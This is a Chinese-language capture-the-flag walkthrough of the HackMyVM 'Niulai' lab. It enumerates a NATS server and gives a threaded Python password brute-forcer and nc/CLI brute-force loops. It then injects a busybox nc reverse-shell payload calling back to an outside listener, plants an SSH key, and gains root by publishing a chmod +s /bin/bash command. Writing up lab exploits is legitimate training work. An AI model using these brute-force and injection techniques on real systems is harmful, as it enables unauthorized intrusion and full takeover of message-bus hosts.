

| Niulai_daochunhan

| Niulai

| user

| 信息收集

目标：

```
192.168.64.69
```

端口扫描：

```
nmap -Pn -n --min-rate 5000 -T4 -p- 192.168.64.69
```

```
(daochunhan@kali)-[~]
$ nmap -Pn -n --min-rate 5000 -T4 -p- 192.168.64.69
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-18 16:47 -0400
Warning: 192.168.64.69 giving up on port because retransmission cap hit (6).
Nmap scan report for 192.168.64.69
Host is up (0.00060s latency).
Not shown: 56163 closed tcp ports (reset), 9370 filtered tcp ports (no-response)
PORT      STATE SERVICE
22/tcp    open  ssh
4222/tcp   open  vrml-multi-use
MAC Address: 56:4D:61:9A:CA:D3 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 76.56 seconds
```

开放端口：

```
22/tcp    open  ssh
4222/tcp   open  vrml-multi-use
```

识别服务：

```
nmap -Pn -A -p22,4222 192.168.64.69
```

```
(daochunhan@kali)-[~]
$ nmap -Pn -A -p22,4222 192.168.64.69
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-18 16:49 -0400
Nmap scan report for 192.168.64.69
Host is up (0.0012s latency).

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
4222/tcp  open  vrml-multi-use?

| fingerprint-strings:
|   Genericlines:
|     INFO {"server_id":"NDXAVKDAHCPNSJLKREDAKF2RWDDFPT4F2LTZCIT2SBWVQESF7ZQAVZSN","server_name":"NDXAVKDAHCPNSJLKREDAKF2RWDDFPT4F2LTZCIT2SBWVQESF7ZQAVZSN","version":"2.10.27","proto":1,"go":"go1.24.4","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"client_id":8,"client_ip":"192.168.64.39","xkey":"XDVQ0S5ACQRNWCNZ7XMG6JX6TNOM6Y047FHONVC567CQNK0ZPCNGCA0A"}
|     -ERR 'Authorization Violation'
|   GetRequest:
|     INFO {"server_id":"NDXAVKDAHCPNSJLKREDAKF2RWDDFPT4F2LTZCIT2SBWVQESF7ZQAVZSN","server_name":"NDXAVKDAHCPNSJLKREDAKF2RWDDFPT4F2LTZCIT2SBWVQESF7ZQAVZSN","version":"2.10.27","proto":1,"go":"go1.24.4","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"client_id":9,"client_ip":"192.168.64.39","xkey":"XDVQ0S5ACQRNWCNZ7XMG6JX6TNOM6Y047FHONVC567CQNK0ZPCNGCA0A"}
|     -ERR 'Authorization Violation'
|   HTTPOptions:
|     INFO {"server_id":"NDXAVKDAHCPNSJLKREDAKF2RWDDFPT4F2LTZCIT2SBWVQESF7ZQAVZSN","server_name":"NDXAVKDAHCPNSJLKREDAKF2RWDDFPT4F2LTZCIT2SBWVQESF7ZQAVZSN","version":"2.10.27","proto":1,"go":"go1.24.4","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"client_id":10,"client_ip":"192.168.64.39","xkey":"XDVQ0S5ACQRNWCNZ7XMG6JX6TNOM6Y047FHONVC567CQNK0ZPCNGCA0A"}
|     -ERR 'Authorization Violation'
|   NULL:
|     INFO {"server_id":"NDXAVKDAHCPNSJLKREDAKF2RWDDFPT4F2LTZCIT2SBWVQESF7ZQAVZSN","server_name":"NDXAVKDAHCPNSJLKREDAKF2RWDDFPT4F2LTZCIT2SBWVQESF7ZQAVZSN","version":"2.10.27","proto":1,"go":"go1.24.4","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"client_id":7,"client_ip":"192.168.64.39","xkey":"XDVQ0S5ACQRNWCNZ7XMG6JX6TNOM6Y047FHONVC567CQNK0ZPCNGCA0A"}
|_   -ERR 'Authentication Timeout'
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4222-TCP:V=7.99%I=7%D=8/18%Time=6A84C54C%P=x86_64-pc-linux-gnu%r(NU
SF:LL,1A9,"INFO\x20{"server_id":"NDXAVKDAHCPNSJLKREDAKF2RWDDFPT4F2LTZCI
SF:T2SBWVQESF7ZQAVZSN","server_name":"NDXAVKDAHCPNSJLKREDAKF2RWDDFPT4F
```

22/tcp OpenSSH 10.0p2 Debian 13
4222/tcp NATS Server 2.10.27

NATS是一种高性能消息总线，它使用简单的基于文本的协议，用于让不同应用或微服务之间进行发布订阅、请求响应和消息传递

服务器 **INFO { ... }** 在 TCP 连接建立后立即发送一个 JSON 横幅，客户端则回复一个 **CONNECT {"user":"USERNAME","pass":"PASSWORD",...}** 帧，帧后可添加可选的 **PING PUB / SUB** 命令。JetStream 在同一个 TCP 端口之上添加了持久化原语（流和消费者）**4222/tcp**。TLS 和身份验证是可选的，因此许多内部部署都使用**明文身份验证**。

没有其他线索，SSH 没有用户和凭据信息，从 NATS 入手，这个 NATS 服务要求客户端认证，并不是匿名开放的，客户端正常连接时需要在 **CONNECT** 中提交相应认证信息：

echo | nc -vn 192.168.64.69 4222

```
(daochunhan@kali)-[~]
$ echo | nc -vn 192.168.64.69 4222
Connection to 192.168.64.69 4222 port [tcp/*] succeeded!
INFO {"server_id":"NDXAVKDAHCPNSJLKREDAKF2RWDDFPT4F2LTZCIT2SBWVQESF7ZQAVZSN","server_name":"NDXAVKDAHCPNSJLKREDAKF2RWDDFPT4F2LTZCIT2SBWVQESF7ZQAVZSN","version":"2.10.27","proto":1,"go":"go1.24.4","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"client_id":39,"client_ip":"192.168.64.39","xkey":"XDVQ0S5ACQRNWCNZ7XMG6JX6TNOM6Y047FHONVC567CQNK0ZPCNGCA0A"}
-ERR 'Authorization Violation'
```

-ERR 'Authorization Violation'

爆破凭据

hydra 没有 NATS 模块，但 NATS 认证协议极简：`CONNECT {"user":...,"pass":...}` 成功回 `+OK/PONG`，失败回 `-ERR 'Authorization Violation'`，那么可以根据响应差异爆破。

三种探测方式：

方式一：Python 爆破脚本

尝试爆破凭据，准备一组账号（root / admin / user / test / nats / worker / service / sys / developer / operator）。字典取 `rockyou` 前 5000 行：

```
#!/usr/bin/env python3
# nats_brute.py - NATS 4222 : 命中回 PONG, 失败回 -ERR 'Authorization Violation'
import socket, sys
from concurrent.futures import ThreadPoolExecutor, as_completed

IP      = sys.argv[1] if len(sys.argv) > 1 else '192.168.64.69'
PORT    = int(sys.argv[2]) if len(sys.argv) > 2 else 4222
NPROC   = int(sys.argv[3]) if len(sys.argv) > 3 else 128
NLINES  = int(sys.argv[4]) if len(sys.argv) > 4 else 0

USERS = ['root', 'admin', 'user', 'test', 'nats', 'worker', 'service', 'sys', 'developer', 'operator']
PWDS = [l.strip() for l in open('/usr/share/wordlists/rockyou.txt', errors='ignore') if l.strip()]
if NLINES > 0:
    PWDS = PWDS[:NLINES]

def try_auth(u, pw):
    try:
        s = socket.create_connection((IP, PORT), timeout=4)
        s.recv(4096) # INFO banner
        s.sendall(b'CONNECT {"user":"%s","pass":"%s"}\r\nPING\r\n' %
(u.encode(), pw.encode()))
        if b'PONG' not in s.recv(4096): # 认证失败: -ERR 'Authorization Violation'
            s.close()
            return False
        # SUB 全通配 '>', 按回包分权限
        s.sendall(b'SUB > 1\r\nPING\r\n')
        r = s.recv(4096)
        s.close()
        if b'Permissions Violation' in r:
            tag = 'perm=deny'
```

```

elif b'PONG' in r:
    tag = 'perm=sub >'
else:
    tag = 'resp: %s' % r[:80].decode(errors='replace')
print('\n[+] FOUND: %s : %s [%s]' % (u, pw, tag), flush=True)
return True
except OSError:
    pass
return False

n, total = 0, len(USERS) * len(PWDS)
with ThreadPoolExecutor(NPROC) as pool:
    futs = [pool.submit(try_auth, u, pw) for u in USERS for pw in PWDS]
    for f in as_completed(futs):
        n += 1
        if n % 1000 == 0:
            print('\r%d/%d' % (n, total), end='', flush=True)
        f.result()

print('\n[*] done: %d attempts' % total)

```

用十个用户 + `rockyou.txt` 进行爆破，根据正确凭据回显来找到凭据和鉴定权限：

```
python3 brute.py 192.168.64.69 4222 128 5000 # rockyou.txt 前 5000
```

```

(daochunhan@kali)-[~]
$ python3 brute.py 192.168.64.69 4222 128 5000

[+] FOUND: root : PASSWORD1 [perm=sub >]

[+] FOUND: admin : PASSWORD1 [perm=deny]

```

```

[+] FOUND: root : PASSWORD1 [perm=sub >]
[+] FOUND: admin : PASSWORD1 [perm=deny]

```

I 方式二：nc 协议

密码正确时服务端回 `+OK` + `PONG`，错误回 `-ERR 'Authorization Violation'`：

```
printf 'CONNECT {"user":"root","pass":"aaa"}\r\nping\r\n' | nc -vn
192.168.64.69 4222
printf 'CONNECT {"user":"root","pass":"PASSWORD1"}\r\nping\r\n' | nc -vn
192.168.64.69 4222
```

```
(daochunhan@kali)-[~]
$ printf 'CONNECT {"user":"root","pass":"aaa"}\r\nping\r\n' | nc -vn 192.168.64.69 4222
Connection to 192.168.64.69 4222 port [tcp/*] succeeded!
INFO {"server_id":"NDXAVKDAHCP5NJKREDAKF2RWDDFPT4F2LTZCIT2SBWVQESF7ZQAVZSN","server_name":"NDXAVKDAHCP5NJKREDAKF2RWDDFPT4F2LTZCIT2SBWVQESF7ZQAVZSN","version":"2.10.27","proto":1,"go":"go1.24.4","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"client_id":72335,"client_ip":"192.168.64.39","xkey":"XDVGQSSACQRNWCNZ7XMG6JX6TNOM6Y047FHONVC567CQNK0ZPCNGCAOA"}
-ERR 'Authorization Violation'

(daochunhan@kali)-[~]
$ printf 'CONNECT {"user":"root","pass":"PASSWORD1"}\r\nping\r\n' | nc -vn 192.168.64.69 4222
Connection to 192.168.64.69 4222 port [tcp/*] succeeded!
INFO {"server_id":"NDXAVKDAHCP5NJKREDAKF2RWDDFPT4F2LTZCIT2SBWVQESF7ZQAVZSN","server_name":"NDXAVKDAHCP5NJKREDAKF2RWDDFPT4F2LTZCIT2SBWVQESF7ZQAVZSN","version":"2.10.27","proto":1,"go":"go1.24.4","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"client_id":72336,"client_ip":"192.168.64.39","xkey":"XDVGQSSACQRNWCNZ7XMG6JX6TNOM6Y047FHONVC567CQNK0ZPCNGCAOA"}
+OK
PONG
PING
```

因此可以过滤掉错误回显 `-ERR 'Authorization Violation'`，剩下的就是密码：

```
for i in $(cat 100.txt); do printf 'CONNECT {"user":"root","pass":"%s"}\r\nping\r\n' "$i" | nc -w 3 192.168.64.69 4222 2>/dev/null | grep -q PONG && echo "root:$i" && break; done
```

```
(daochunhan@kali)-[~]
$ for i in $(cat 100.txt); do printf 'CONNECT {"user":"root","pass":"%s"}\r\nping\r\n' "$i" | nc -w 3 192.168.64.69 4222 2>/dev/null | grep -q PONG && echo "root:$i" && break; done
root:PASSWORD1
```

I 方式三：nats CLI 回显差

从 github.com/nats-io/natscli/releases 下 deb 装 nats CLI：

sub 回显差异：

```
nats sub '>' -s "nats://root:aaa@192.168.64.69:4222"
nats sub '>' -s "nats://root:PASSWORD1@192.168.64.69:4222"
```



```
(daochunhan@kali)-[~]
$ nats sub '>' -s "nats://root:aaa@192.168.64.69:4222"
nats: error: nats: Authorization Violation

(daochunhan@kali)-[~]
$ nats sub '>' -s "nats://root:PASSWORD1@192.168.64.69:4222"
18:25:42 Subscribing on >
[#1] Received on "tasks.heartbeat"
{"status":"idle"}
```

密码错误回显 `nats: error: nats: Authorization Violation`，命中时会挂起并发送心跳包。

server ping 差异：

```
nats server ping -s "nats://root:aaaa@192.168.64.69:4222"
nats server ping -s "nats://root:PASSWORD1@192.168.64.69:4222"
```

```
(daochunhan@kali)-[~]
$ nats server ping -s "nats://root:aaaa@192.168.64.69:4222"
nats: error: nats: Authorization Violation

(daochunhan@kali)-[~]
$ nats server ping -s "nats://root:PASSWORD1@192.168.64.69:4222"
503 status from $SYS.REQ.SERVER.PING, ensure a system account is used with appropriate permissions
```

密码错误回显 `nats: error: nats: Authorization Violation`，命中回显 503。

```
# sub 探测:命中时 nats sub 会挂起
for i in $(cat 100.txt); do echo $i; nats sub '>' -s
"nats://root:$i@192.168.64.69:4222"; done

# server ping 探测: 错密码过滤, 正确密码回显 503
for i in $(cat 100.txt); do echo $i;nats server ping -s
"nats://root:$i@192.168.64.69:4222" 2>&1 | grep -v 'nats: error: nats:
Authorization Violation'; done
```

```

nats: error: nats: Authorization Violation
1234567890
nats: error: nats: Authorization Violation
superman
nats: error: nats: Authorization Violation
PASSWORD1
18:09:14 Subscribing on >
[#1] Received on "tasks.heartbeat"
{"status":"idle"}
1234567890
superman
PASSWORD1
503 status from $SYS.REQ.SERVER.PING, ensure a system account is used with appropriate permissions
sparrow
pokpok

```

方式二、三相对慢一点，因此截取了小字典，只做爆破凭据思路补充。

爆破结果

```

nats sub '>' -s "nats://root:PASSWORD1@192.168.64.69:4222"
nats sub '>' -s "nats://admin:PASSWORD1@192.168.64.69:4222"

```

```

Last login: Tue Aug 18 17:13:17 2020 from 192.168.64.1
(daochunhan@kali)-[~]
$ nats sub '>' -s "nats://root:PASSWORD1@192.168.64.69:4222"
17:21:57 Subscribing on >
[#1] Received on "tasks.heartbeat"
{"status":"idle"}

[#2] Received on "tasks.heartbeat"
{"status":"idle"}

[#3] Received on "tasks.heartbeat"
{"status":"idle"}

(daochunhan@kali)-[~]
$ nats sub '>' -s "nats://admin:PASSWORD1@192.168.64.69:4222"
17:23:27 Subscribing on >
nats: error: nats: permissions violation: Permissions Violation for Subscription to ">"

```

```

root : PASSWORD1      # nats sub '>' 正常挂上监听 (Subscribing on >), 全通配权限
admin : PASSWORD1     # 认证能过, 但 sub '>' 直接报 Permissions Violation—ACL 只
                        给了 root

```

```

nats sub '>' -s "nats://root:PASSWORD1@192.168.64.69:4222"

```

挂上全通配监听后，能看到 worker 每 15 秒发一次心跳：

```
[#n] Received on "tasks.heartbeat"  
{"status":"idle"}
```

只有心跳没有别的消息，自然想到查 help 手册，服务有一个 help 频道，直接发任意内容，回复在 help.response：

```
nats pub help 111 -s "nats://root:PASSWORD1@192.168.64.69:4222"
```

```
(daochunhan@kali)-[~]  
$ nats pub help 111 -s "nats://root:PASSWORD1@192.168.64.69:4222"  
17:37:44 Published 3 bytes to "help"  
[#7] Received on "help.response"  
NATS Deployment Service v1.0  
-----  
可用 subject:  
  
tasks.run    - 提交部署任务(消息内容将在 worker 端作为任务命令执行)  
help         - 获取帮助(回复发送到 help.response)  
  
心跳: tasks.heartbeat(每 15 秒)  
-----  
使用示例:  
PUB tasks.run "deploy web"
```

```
NATS Deployment Service v1.0  
-----  
可用 subject:  
  
tasks.run    - 提交部署任务(消息内容将在 worker 端作为任务命令执行)  
help         - 获取帮助(回复发送到 help.response)  
  
心跳: tasks.heartbeat(每 15 秒)  
-----  
使用示例:  
PUB tasks.run "deploy web"
```

tasks.run 的消息内容会作为命令在 worker 端执行，存在命令注入点。

| 反弹 shell

起监听:

```
rlwrap nc -lvnp 1234
```

向 `tasks.run` 注入 payload (分号 + `$()` 逃逸, busybox 反弹):

```
nats pub tasks.run ';$ (busybox nc 100.106.110.49 1234 -e /bin/bash);' -s "nats://root:PASSWORD1@192.168.64.69:4222"
```

```
(daochunhan@kali)-[~]  
$ nats pub tasks.run ';$ (busybox nc 100.106.110.49 1234 -e /bin/bash);' -s "nats://root:PASSWORD1@192.168.64.69:4222"  
17:40:16 Published 48 bytes to "tasks.run"
```

拿到 worker 的 shell 后写公钥进去, 然后 SSH 登录:

```
id  
mkdir -p ~/.ssh && chmod 700 ~/.ssh  
echo 'ssh-ed25519  
AAAAC3NzaC1lZDI1NTE5AAAAIP7RDTLQW+8zuVy3v4d1P6iF+prtV7vUh05tpm7po4im  
daochunhan@kali' >> ~/.ssh/authorized_keys  
chmod 600 ~/.ssh/authorized_keys
```

```
(daochunhan@kali)-[~]  
$ rlwrap nc -lvnp 1234  
Listening on 0.0.0.0 1234  
Connection received on 100.70.157.47 45404  
id  
uid=1000(kotori) gid=1000(kotori) groups=1000(kotori)  
mkdir -p ~/.ssh  
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7RDTLQW+8zuVy3v4d1P6iF+prtV7vUh05tpm7po4im daochunhan@kali' >> ~/.ssh/authorized_keys  
|
```

```
ssh kotori@192.168.64.69 -i ~/.ssh/id_ed25519
```

A large, stylized letter 'A' is formed by a collection of asterisks (*) and commas (,). The shape is roughly triangular, with the base at the bottom and the apex at the top. The characters are arranged in a way that creates a sense of depth and structure. At the bottom right of the 'A', the text 'HackMyVM' is written in a simple, sans-serif font.

```
Last login: Tue Aug 18 17:42:41 2026 from 192.168.64.39
kotori@niulai:~$ id
uid=1000(kotori) gid=1000(kotori) groups=1000(kotori)
kotori@niulai:~$ cat user.txt
flag{user-d14080a0fc2d3a6146ca7944cd85afb5}
kotori@niulai:~$
```

| admin-svc

```
ps -ef
cat /opt/admin-svc/admin-svc.py
```

```

dhcpcd 391 389 0 16:44 ? 00:00:00 dhcpcd: [DHCP6 proxy] eth0 [ip4] [ip6]
root 399 1 0 16:44 ? 00:00:00 /usr/sbin/cron -f
message+ 400 1 0 16:44 ? 00:00:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidf
nats 403 1 3 16:44 ? 00:01:54 /usr/sbin/nats-server -c /etc/nats-server.conf
root 404 1 0 16:44 ? 00:00:00 /usr/lib/systemd/systemd-logind
root 412 2 0 16:44 ? 00:00:00 [kworker/R-cfg80211]
dhcpcd 445 389 0 16:44 ? 00:00:00 dhcpcd: [DHCP6 proxy] fe80::d130:28f8:3b13:6a17
dhcpcd 448 389 0 16:44 ? 00:00:00 dhcpcd: [BPF ARP] eth0 192.168.64.69
systemd+ 474 1 0 16:44 ? 00:00:00 /usr/lib/systemd/systemd-timesyncd
dhcpcd 489 389 0 16:44 ? 00:00:00 dhcpcd: [DHCP6 proxy] fd82:5748:6b5e:e178:c0c5:f3a8:46ab:28da
root 524 1 0 16:44 ? 00:00:01 /usr/bin/python3 /opt/admin-svc/admin-svc.py
kotori 525 1 0 16:44 ? 00:00:02 /usr/bin/python3 /opt/worker/worker.py
root 530 1 0 16:44 tty1 00:00:00 /sbin/agetty -o -- \u --noreset - linux
root 532 1 0 16:44 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
dhcpcd 554 389 0 16:44 ? 00:00:00 dhcpcd: [BOOTP proxy] 192.168.64.69
root 705 2 0 16:52 ? 00:00:01 [kworker/u8:1-events_power_efficient]
root 1101 2 0 17:26 ? 00:00:01 [kworker/0:0-mm_percpu_wq]
root 1117 2 0 17:28 ? 00:00:00 [kworker/1:2-events]
root 1119 2 0 17:29 ? 00:00:00 [kworker/u8:2-events_unbound]

```

```
kotori@niulai:~$ cat /opt/admin-svc/admin-svc.py
```

```
#!/usr/bin/env python3
```

```
# NATS 管理通道:管理员通过消息总线下发运维命令
```

```
# 反模式:消息内容直接作为 shell 命令执行
```

```
import os
```

```
import asyncio
```

```
import nats
```

```
SUBJECT = "admin.execute"
```

```
async def on_message(msg):
```

```
    cmd = msg.data.decode(errors="replace")
```

```
    print(f"[admin-svc] 执行: {cmd}", flush=True)
```

```
    os.system(cmd)
```

```
async def main():
```

```
    nc = await nats.connect("nats://root:PASSWORD1@127.0.0.1:4222")
```

```
    await nc.subscribe(SUBJECT, cb=on_message)
```

```
    print("[admin-svc] admin.execute 已就绪", flush=True)
```

```
    await asyncio.Event().wait()
```

```
if __name__ == "__main__":
```

```
    asyncio.run(main())
```

```
kotori@niulai:~$
```

用户态服务有两个 Python 进程: `kotori` 跑的 `worker.py` 和 `root` 跑的 `admin-svc.py`

以 `root` 订阅 `admin.execute` 频道, 源码里 `os.system(msg.data)` 把消息内容原样交给 `shell` 执行:

```
nats pub admin.execute 'chmod +s /bin/bash' -s
"nats://root:PASSWORD1@192.168.64.69:4222"
```

```
(daochunhan@kali)-[~]
```

```
$ nats pub admin.execute 'chmod +s /bin/bash' -s "nats://root:PASSWORD1@192.168.64.69:4222"
17:50:45 Published 18 bytes to "admin.execute"
```

```
bash -p
```

```
kotori@niulai:~$ bash -p
bash-5.2# id
uid=1000(kotori) gid=1000(kotori) euid=0(root) egid=0(root) groups=0(root),1000(kotori)
bash-5.2# cat /root/root.txt
flag{root-6b34d2b62278762f24fa2d1ffa13f8d0}
bash-5.2#
```

Reference

[HackTricks - 4222 Pentesting NATS](#)